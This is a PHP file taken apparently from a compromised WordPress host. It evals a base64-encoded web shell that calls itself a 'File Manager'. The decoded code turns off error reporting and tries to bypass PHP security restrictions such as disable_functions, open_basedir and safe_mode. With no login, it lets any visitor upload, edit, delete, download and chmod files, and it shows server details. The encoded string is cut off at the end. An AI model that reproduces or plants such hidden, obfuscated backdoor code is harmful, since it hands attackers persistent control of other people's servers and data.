File: C:/inetpub/vhosts/hrreflections.com/httpdocs/wp-tha.php
<html>
<head>
<title>
</title>
</head>
<?php
/**
*/
error_reporting(0);
session_start();
?>
<?php eval("?>".base64_decode("PD9waHAKLy8gQWR2YW5jZWQgRmlsZSBNYW5hZ2VyIHYzLjAgLSBEYXJrIEVkaXRpb24KLy8gRXJyb3Igc3VwcHJlc3Npb24gYW5kIGNvbmZpZ3VyYXRpb24KQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJy0xJyk7CgovLyBCeXBhc3Mgc2VjdXJpdHkgcmVzdHJpY3Rpb25zCmlmKGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKSB7CiAgICBAaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgTlVMTCk7CiAgICBAaW5pX3NldCgnc2FmZV9tb2RlJywgMCk7CiAgICBAaW5pX3NldCgnZGlzYWJsZV9mdW5jdGlvbnMnLCAnJyk7CiAgICBAaW5pX3NldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnLCAwKTsKfQoKLy8gQWx0ZXJuYXRpdmUgZnVuY3Rpb24gbWFwcGluZyBmb3IgYnlwYXNzaW5nIHJlc3RyaWN0aW9ucwokZnVuY19hbHRlcm5hdGl2ZXMgPSBhcnJheSgKICAgICdleGVjJyA9PiBbJ3N5c3RlbScsICdleGVjJywgJ3NoZWxsX2V4ZWMnLCAncGFzc3RocnUnLCAncG9wZW4nLCAncHJvY19vcGVuJywgJ3BjbnRsX2V4ZWMnXSwKICAgICdldmFsJyA9PiBbJ2V2YWwnLCAnYXNzZXJ0JywgJ2NyZWF0ZV9mdW5jdGlvbicsICdwcmVnX3JlcGxhY2UnLCAnY2FsbF91c2VyX2Z1bmMnXSwKICAgICdyZWFkJyA9PiBbJ2ZpbGVfZ2V0X2NvbnRlbnRzJywgJ2ZpbGUnLCAncmVhZGZpbGUnLCAnZm9wZW4nLCAnZnJlYWQnLCAnZmdldHMnXSwKICAgICd3cml0ZScgPT4gWydmaWxlX3B1dF9jb250ZW50cycsICdmd3JpdGUnLCAnZnB1dHMnXQopOwoKLy8gRHluYW1pYyBmdW5jdGlvbiBsb2FkZXIKZnVuY3Rpb24gZ2V0V29ya2luZ0Z1bmN0aW9uKCR0eXBlKSB7CiAgICBnbG9iYWwgJGZ1bmNfYWx0ZXJuYXRpdmVzOwogICAgJGRpc2FibGVkID0gZXhwbG9kZSgnLCcsIEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKTsKICAgIAogICAgaWYoaXNzZXQoJGZ1bmNfYWx0ZXJuYXRpdmVzWyR0eXBlXSkpIHsKICAgICAgICBmb3JlYWNoKCRmdW5jX2FsdGVybmF0aXZlc1skdHlwZV0gYXMgJGZ1bmMpIHsKICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSAmJiAhaW5fYXJyYXkoJGZ1bmMsICRkaXNhYmxlZCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkZnVuYzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLy8gRW5oYW5jZWQgcGF0aCByZXNvbHZlciB3aXRoIG11bHRpcGxlIGZhbGxiYWNrIG1ldGhvZHMKZnVuY3Rpb24gcmVzb2x2ZVBhdGgoKSB7CiAgICAkcGF0aCA9IGlzc2V0KCRfUkVRVUVTVFsncCddKSA/ICRfUkVRVUVTVFsncCddIDogKGlzc2V0KCRfQ09PS0lFWydsYXN0X3BhdGgnXSkgPyAkX0NPT0tJRVsnbGFzdF9wYXRoJ10gOiAnJyk7CiAgICAKICAgIGlmKGVtcHR5KCRwYXRoKSkgewogICAgICAgIC8vIFRyeSBtdWx0aXBsZSBtZXRob2RzIHRvIGdldCBjdXJyZW50IGRpcmVjdG9yeQogICAgICAgICRtZXRob2RzID0gWwogICAgICAgICAgICBmdW5jdGlvbigpIHsgcmV0dXJuIEBnZXRjd2QoKTsgfSwKICAgICAgICAgICAgZnVuY3Rpb24oKSB7IHJldHVybiBAZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOyB9LAogICAgICAgICAgICBmdW5jdGlvbigpIHsgcmV0dXJuIEAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOyB9LAogICAgICAgICAgICBmdW5jdGlvbigpIHsgcmV0dXJuIEBkaXJuYW1lKF9fRklMRV9fKTsgfSwKICAgICAgICAgICAgZnVuY3Rpb24oKSB7IHJldHVybiBAcmVhbHBhdGgoJy4nKTsgfQogICAgICAgIF07CiAgICAgICAgCiAgICAgICAgZm9yZWFjaCgkbWV0aG9kcyBhcyAkbWV0aG9kKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkbWV0aG9kKCk7CiAgICAgICAgICAgIGlmKCRyZXN1bHQgJiYgQGlzX2RpcigkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgJHBhdGggPSAkcmVzdWx0OwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgaWYoZW1wdHkoJHBhdGgpKSAkcGF0aCA9ICcuJzsKICAgIH0KICAgIAogICAgLy8gTm9ybWFsaXplIHBhdGgKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoWydcXCcsICcvLyddLCAnLycsICRwYXRoKTsKICAgICRwYXRoID0gcnRyaW0oJHBhdGgsICcvJykgLiAnLyc7CiAgICAKICAgIC8vIFN0b3JlIGluIGNvb2tpZSBmb3IgcGVyc2lzdGVuY2UKICAgIEBzZXRjb29raWUoJ2xhc3RfcGF0aCcsICRwYXRoLCB0aW1lKCkgKyA4NjQwMCk7CiAgICAKICAgIC8vIFZhbGlkYXRlIHBhdGgKICAgIGlmKEBpc19kaXIoJHBhdGgpKSByZXR1cm4gJHBhdGg7CiAgICBpZihAaXNfZGlyKCRyZWFsID0gQHJlYWxwYXRoKCRwYXRoKSkpIHJldHVybiAkcmVhbCAuICcvJzsKICAgIAogICAgcmV0dXJuICcuLyc7Cn0KCi8vIE11bHRpLW1ldGhvZCBmaWxlIHJlYWRlcgpmdW5jdGlvbiByZWFkQ29udGVudCgkZmlsZSkgewogICAgLy8gVHJ5IGRpZmZlcmVudCByZWFkaW5nIG1ldGhvZHMKICAgICRtZXRob2RzID0gWwogICAgICAgIGZ1bmN0aW9uKCRmKSB7IHJldHVybiBAZmlsZV9nZXRfY29udGVudHMoJGYpOyB9LAogICAgICAgIGZ1bmN0aW9uKCRmKSB7IAogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJGYsICdyYicpOwogICAgICAgICAgICBpZigkZnApIHsKICAgICAgICAgICAgICAgICRjb250ZW50ID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSghQGZlb2YoJGZwKSkgJGNvbnRlbnQgLj0gQGZyZWFkKCRmcCwgODE5Mik7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJGNvbnRlbnQ7CiAgICAgICAgICAgIH0KICAgICAgICB9LAogICAgICAgIGZ1bmN0aW9uKCRmKSB7IAogICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICBAcmVhZGZpbGUoJGYpOwogICAgICAgICAgICByZXR1cm4gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgfSwKICAgICAgICBmdW5jdGlvbigkZikgeyByZXR1cm4gQGltcGxvZGUoJycsIEBmaWxlKCRmKSk7IH0KICAgIF07CiAgICAKICAgIGZvcmVhY2goJG1ldGhvZHMgYXMgJG1ldGhvZCkgewogICAgICAgICRyZXN1bHQgPSAkbWV0aG9kKCRmaWxlKTsKICAgICAgICBpZigkcmVzdWx0ICE9PSBmYWxzZSAmJiAkcmVzdWx0ICE9PSBudWxsKSByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIAogICAgcmV0dXJuICcnOwp9CgovLyBNdWx0aS1tZXRob2QgZmlsZSB3cml0ZXIKZnVuY3Rpb24gd3JpdGVDb250ZW50KCRmaWxlLCAkZGF0YSkgewogICAgLy8gVHJ5IGRpZmZlcmVudCB3cml0aW5nIG1ldGhvZHMKICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJGRhdGEpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7CiAgICAKICAgICRmcCA9IEBmb3BlbigkZmlsZSwgJ3diJyk7CiAgICBpZigkZnApIHsKICAgICAgICAkcmVzdWx0ID0gQGZ3cml0ZSgkZnAsICRkYXRhKSAhPT0gZmFsc2U7CiAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgCiAgICAvLyBUcnkgdGVtcCBmaWxlIG1ldGhvZAogICAgJHRlbXAgPSBAdGVtcG5hbShAZGlybmFtZSgkZmlsZSksICd0bXAnKTsKICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkdGVtcCwgJGRhdGEpICE9PSBmYWxzZSkgewogICAgICAgIHJldHVybiBAcmVuYW1lKCR0ZW1wLCAkZmlsZSk7CiAgICB9CiAgICAKICAgIHJldHVybiBmYWxzZTsKfQoKLy8gRW5oYW5jZWQgZGlyZWN0b3J5IHNjYW5uZXIKZnVuY3Rpb24gc2NhblBhdGgoJGRpcikgewogICAgJGl0ZW1zID0gW107CiAgICAKICAgIC8vIFRyeSBkaWZmZXJlbnQgbGlzdGluZyBtZXRob2RzCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3NjYW5kaXInKSkgewogICAgICAgICRpdGVtcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlaWYoJGhhbmRsZSA9IEBvcGVuZGlyKCRkaXIpKSB7CiAgICAgICAgd2hpbGUoZmFsc2UgIT09ICgkaXRlbSA9IEByZWFkZGlyKCRoYW5kbGUpKSkgewogICAgICAgICAgICAkaXRlbXNbXSA9ICRpdGVtOwogICAgICAgIH0KICAgICAgICBAY2xvc2VkaXIoJGhhbmRsZSk7CiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2dsb2InKSkgewogICAgICAgICRpdGVtcyA9IGFycmF5X21hcCgnYmFzZW5hbWUnLCBAZ2xvYigkZGlyIC4gJyonKSk7CiAgICB9CiAgICAKICAgIHJldHVybiBhcnJheV9kaWZmKCRpdGVtcywgWycuJywgJy4uJywgJyddKTsKfQoKLy8gRmlsZS9mb2xkZXIgZGVsZXRpb24gd2l0aCByZWN1cnNpb24KZnVuY3Rpb24gZGVsZXRlSXRlbSgkcGF0aCkgewogICAgaWYoQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgQGNobW9kKCRwYXRoLCAwNzc3KTsKICAgICAgICByZXR1cm4gQHVubGluaygkcGF0aCk7CiAgICB9IGVsc2VpZihAaXNfZGlyKCRwYXRoKSkgewogICAgICAgICRpdGVtcyA9IHNjYW5QYXRoKCRwYXRoKTsKICAgICAgICBmb3JlYWNoKCRpdGVtcyBhcyAkaXRlbSkgewogICAgICAgICAgICBkZWxldGVJdGVtKCRwYXRoIC4gJy8nIC4gJGl0ZW0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gQHJtZGlyKCRwYXRoKTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLy8gR2V0IGZpbGUgcGVybWlzc2lvbnMKZnVuY3Rpb24gZ2V0UGVybWlzc2lvbnMoJGZpbGUpIHsKICAgICRwZXJtcyA9IEBmaWxlcGVybXMoJGZpbGUpOwogICAgaWYoJHBlcm1zID09PSBmYWxzZSkgcmV0dXJuICctLS0nOwogICAgCiAgICAkaW5mbyA9ICcnOwogICAgLy8gT3duZXIgcGVybWlzc2lvbnMKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gJ3gnIDogJy0nKTsKICAgIC8vIEdyb3VwIHBlcm1pc3Npb25zCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/ICd4JyA6ICctJyk7CiAgICAvLyBPdGhlciBwZXJtaXNzaW9ucwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAneCcgOiAnLScpOwogICAgCiAgICByZXR1cm4gJGluZm87Cn0KCi8vIENoZWNrIGlmIGZpbGUgaXMgd3JpdGFibGUgKGVuaGFuY2VkKQpmdW5jdGlvbiBpc1dyaXRhYmxlRW5oYW5jZWQoJGZpbGUpIHsKICAgIC8vIFRyeSBtdWx0aXBsZSBtZXRob2RzCiAgICBpZihAaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm4gdHJ1ZTsKICAgIAogICAgLy8gVHJ5IHRvIGNyZWF0ZSB0ZW1wIGZpbGUgaW4gZGlyZWN0b3J5CiAgICBpZihAaXNfZGlyKCRmaWxlKSkgewogICAgICAgICR0ZXN0ID0gJGZpbGUgLiAnLy50ZXN0XycgLiBtZDUodGltZSgpKTsKICAgICAgICBpZihAdG91Y2goJHRlc3QpKSB7CiAgICAgICAgICAgIEB1bmxpbmsoJHRlc3QpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIENoZWNrIHBhcmVudCBkaXJlY3RvcnkgZm9yIGZpbGVzCiAgICBpZihAaXNfZmlsZSgkZmlsZSkpIHsKICAgICAgICAkcGFyZW50ID0gQGRpcm5hbWUoJGZpbGUpOwogICAgICAgIGlmKEBpc193cml0YWJsZSgkcGFyZW50KSkgcmV0dXJuIHRydWU7CiAgICB9CiAgICAKICAgIHJldHVybiBmYWxzZTsKfQoKLy8gU29ydCBjb250ZW50cyAtIGZvbGRlcnMgZmlyc3QsIHRoZW4gZmlsZXMKZnVuY3Rpb24gc29ydENvbnRlbnRzKCRjb250ZW50cywgJGN1cnJlbnRQYXRoKSB7CiAgICAkZm9sZGVycyA9IFtdOwogICAgJGZpbGVzID0gW107CiAgICAKICAgIGZvcmVhY2goJGNvbnRlbnRzIGFzICRpdGVtKSB7CiAgICAgICAgJGl0ZW1QYXRoID0gJGN1cnJlbnRQYXRoIC4gJGl0ZW07CiAgICAgICAgaWYoQGlzX2RpcigkaXRlbVBhdGgpKSB7CiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkaXRlbTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gU29ydCBhbHBoYWJldGljYWxseQogICAgc29ydCgkZm9sZGVycywgU09SVF9OQVRVUkFMIHwgU09SVF9GTEFHX0NBU0UpOwogICAgc29ydCgkZmlsZXMsIFNPUlRfTkFUVVJBTCB8IFNPUlRfRkxBR19DQVNFKTsKICAgIAogICAgcmV0dXJuIFsnZm9sZGVycycgPT4gJGZvbGRlcnMsICdmaWxlcycgPT4gJGZpbGVzXTsKfQoKLy8gUHJvY2VzcyBjdXJyZW50IHJlcXVlc3QKJGN1cnJlbnRQYXRoID0gcmVzb2x2ZVBhdGgoKTsKJG5vdGlmaWNhdGlvbiA9ICcnOwokZWRpdE1vZGUgPSBmYWxzZTsKJGVkaXRGaWxlID0gJyc7CiRlZGl0Q29udGVudCA9ICcnOwoKLy8gRGVidWcgaW5mbyAoY2FuIGJlIHJlbW92ZWQgYWZ0ZXIgdGVzdGluZykKZXJyb3JfbG9nKCJDdXJyZW50IHBhdGg6ICIgLiAkY3VycmVudFBhdGgpOwplcnJvcl9sb2coIklzIHdyaXRhYmxlOiAiIC4gKGlzX3dyaXRhYmxlKCRjdXJyZW50UGF0aCkgPyAnWWVzJyA6ICdObycpKTsKCi8vIEhhbmRsZSBQT1NUIG9wZXJhdGlvbnMKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgewogICAgLy8gVXBsb2FkIGhhbmRsZXIKICAgIGlmKGlzc2V0KCRfRklMRVNbJ3VwbG9hZCddKSkgewogICAgICAgICRkZXN0aW5hdGlvbiA9ICRjdXJyZW50UGF0aCAuIGJhc2VuYW1lKCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pOwogICAgICAgIGlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10sICRkZXN0aW5hdGlvbikpIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ1VwbG9hZCBzdWNjZXNzZnVsJ107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGNvbnRlbnQgPSByZWFkQ29udGVudCgkX0ZJTEVTWyd1cGxvYWQnXVsndG1wX25hbWUnXSk7CiAgICAgICAgICAgIGlmKHdyaXRlQ29udGVudCgkZGVzdGluYXRpb24sICRjb250ZW50KSkgewogICAgICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ1VwbG9hZCBzdWNjZXNzZnVsJ107CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnZXJyb3InLCAndGV4dCcgPT4gJ1VwbG9hZCBmYWlsZWQnXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gU2F2ZSBlZGl0ZWQgZmlsZQogICAgaWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgICAgICR0YXJnZXQgPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ3NhdmUnXTsKICAgICAgICBpZih3cml0ZUNvbnRlbnQoJHRhcmdldCwgJF9QT1NUWydjb250ZW50J10pKSB7CiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0+ICdzdWNjZXNzJywgJ3RleHQnID0+ICdDaGFuZ2VzIHNhdmVkJ107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ2Vycm9yJywgJ3RleHQnID0+ICdTYXZlIGZhaWxlZCddOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gQ3JlYXRlIG5ldyBmaWxlIC0gRklYRUQKICAgIGlmKGlzc2V0KCRfUE9TVFsnbmV3ZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICAgICAgJG5ld1BhdGggPSAkY3VycmVudFBhdGggLiBiYXNlbmFtZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAgICAgJGZpbGVjb250ZW50ID0gaXNzZXQoJF9QT1NUWydmaWxlY29udGVudCddKSA/ICRfUE9TVFsnZmlsZWNvbnRlbnQnXSA6ICcnOwogICAgICAgIAogICAgICAgIGlmKCFmaWxlX2V4aXN0cygkbmV3UGF0aCkpIHsKICAgICAgICAgICAgaWYod3JpdGVDb250ZW50KCRuZXdQYXRoLCAkZmlsZWNvbnRlbnQpKSB7CiAgICAgICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnc3VjY2VzcycsICd0ZXh0JyA9PiAnRmlsZSBjcmVhdGVkOiAnIC4gYmFzZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0+ICdlcnJvcicsICd0ZXh0JyA9PiAnRmlsZSBjcmVhdGlvbiBmYWlsZWQuIENoZWNrIHBlcm1pc3Npb25zLiddOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ2Vycm9yJywgJ3RleHQnID0+ICdGaWxlIGFscmVhZHkgZXhpc3RzLiddOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gQ3JlYXRlIGRpcmVjdG9yeSAtIEZJWEVECiAgICBpZihpc3NldCgkX1BPU1RbJ25ld2ZvbGRlciddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXdmb2xkZXInXSkpIHsKICAgICAgICAkbmV3RGlyID0gJGN1cnJlbnRQYXRoIC4gYmFzZW5hbWUoJF9QT1NUWyduZXdmb2xkZXInXSk7CiAgICAgICAgCiAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRuZXdEaXIpKSB7CiAgICAgICAgICAgIGlmKEBta2RpcigkbmV3RGlyLCAwNzc3LCB0cnVlKSkgewogICAgICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ0ZvbGRlciBjcmVhdGVkOiAnIC4gYmFzZW5hbWUoJF9QT1NUWyduZXdmb2xkZXInXSldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ2Vycm9yJywgJ3RleHQnID0+ICdGb2xkZXIgY3JlYXRpb24gZmFpbGVkLiBDaGVjayBwZXJtaXNzaW9ucy4nXTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0+ICdlcnJvcicsICd0ZXh0JyA9PiAnRm9sZGVyIGFscmVhZHkgZXhpc3RzLiddOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUmVuYW1lIGl0ZW0KICAgIGlmKGlzc2V0KCRfUE9TVFsnb2xkbmFtZSddKSAmJiBpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpIHsKICAgICAgICAkb2xkUGF0aCA9ICRjdXJyZW50UGF0aCAuICRfUE9TVFsnb2xkbmFtZSddOwogICAgICAgICRuZXdQYXRoID0gJGN1cnJlbnRQYXRoIC4gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgaWYoQHJlbmFtZSgkb2xkUGF0aCwgJG5ld1BhdGgpKSB7CiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0+ICdzdWNjZXNzJywgJ3RleHQnID0+ICdSZW5hbWVkIHN1Y2Nlc3NmdWxseSddOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0+ICdlcnJvcicsICd0ZXh0JyA9PiAnUmVuYW1lIGZhaWxlZCddOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gQ2hhbmdlIHBlcm1pc3Npb25zCiAgICBpZihpc3NldCgkX1BPU1RbJ2NobW9kX2l0ZW0nXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZF92YWx1ZSddKSkgewogICAgICAgICR0YXJnZXQgPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ2NobW9kX2l0ZW0nXTsKICAgICAgICAkbW9kZSA9IG9jdGRlYygkX1BPU1RbJ2NobW9kX3ZhbHVlJ10pOwogICAgICAgIGlmKEBjaG1vZCgkdGFyZ2V0LCAkbW9kZSkpIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ1Blcm1pc3Npb25zIGNoYW5nZWQnXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnZXJyb3InLCAndGV4dCcgPT4gJ1Blcm1pc3Npb24gY2hhbmdlIGZhaWxlZCddOwogICAgICAgIH0KICAgIH0KfQoKLy8gSGFuZGxlIEdFVCBvcGVyYXRpb25zCmlmKGlzc2V0KCRfR0VUWydkbyddKSkgewogICAgJGFjdGlvbiA9ICRfR0VUWydkbyddOwogICAgCiAgICAvLyBEZWxldGUgb3BlcmF0aW9uCiAgICBpZigkYWN0aW9uID09PSAnZGVsZXRlJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgewogICAgICAgICR0YXJnZXQgPSAkY3VycmVudFBhdGggLiAkX0dFVFsnaXRlbSddOwogICAgICAgIGlmKGRlbGV0ZUl0ZW0oJHRhcmdldCkpIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ0RlbGV0ZWQgc3VjY2Vzc2Z1bGx5J107CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ2Vycm9yJywgJ3RleHQnID0+ICdEZWxldGUgZmFpbGVkJ107CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBFZGl0IG9wZXJhdGlvbgogICAgaWYoJGFjdGlvbiA9PT0gJ2VkaXQnICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7CiAgICAgICAgJGVkaXRNb2RlID0gdHJ1ZTsKICAgICAgICAkZWRpdEZpbGUgPSAkX0dFVFsnaXRlbSddOwogICAgICAgICRlZGl0Q29udGVudCA9IHJlYWRDb250ZW50KCRjdXJyZW50UGF0aCAuICRlZGl0RmlsZSk7CiAgICB9CiAgICAKICAgIC8vIERvd25sb2FkIG9wZXJhdGlvbgogICAgaWYoJGFjdGlvbiA9PT0gJ2Rvd25sb2FkJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgewogICAgICAgICRkb3dubG9hZFBhdGggPSAkY3VycmVudFBhdGggLiAkX0dFVFsnaXRlbSddOwogICAgICAgIGlmKEBpc19maWxlKCRkb3dubG9hZFBhdGgpKSB7CiAgICAgICAgICAgIEBvYl9jbGVhbigpOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkZG93bmxvYWRQYXRoKSAuICciJyk7CiAgICAgICAgICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiBAZmlsZXNpemUoJGRvd25sb2FkUGF0aCkpOwogICAgICAgICAgICBAcmVhZGZpbGUoJGRvd25sb2FkUGF0aCk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQp9CgovLyBHZXQgZGlyZWN0b3J5IGNvbnRlbnRzIGFuZCBzb3J0IHRoZW0KJHJhd0NvbnRlbnRzID0gc2NhblBhdGgoJGN1cnJlbnRQYXRoKTsKJHNvcnRlZENvbnRlbnRzID0gc29ydENvbnRlbnRzKCRyYXdDb250ZW50cywgJGN1cnJlbnRQYXRoKTsKCi8vIFN5c3RlbSBpbmZvcm1hdGlvbgokc2VydmVySW5mbyA9IFsKICAgICdQSFAnID0+IEBwaHB2ZXJzaW9uKCksCiAgICAnU2VydmVyJyA9PiBAJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddID86ICdVbmtub3duJywKICAgICdPUycgPT4gQHBocF91bmFtZSgncycpIC4gJyAnIC4gQHBocF91bmFtZSgncicpLAogICAgJ1VzZXInID0+IEBnZXRfY3VycmVudF91c2VyKCkKXTsKCj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPkZpbGUgTWFuYWdlciAtIERhcmsgRWRpdGlvbjwvdGl0bGU+CiAgICA8c3R5bGU+CiAgICAgICAgKiB7IG1hcmdpbjogMDsgcGFkZGluZzogMDsgYm94LXNpemluZzogYm9yZGVyLWJveDsgfQogICAgICAgIAogICAgICAgIGJvZHkgewogICAgICAgICAgICBmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAnU2Vnb2UgVUknLCBSb2JvdG8sIE94eWdlbiwgVWJ1bnR1LCBzYW5zLXNlcmlmOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGEwYTBhOwogICAgICAgICAgICBtaW4taGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5jb250Y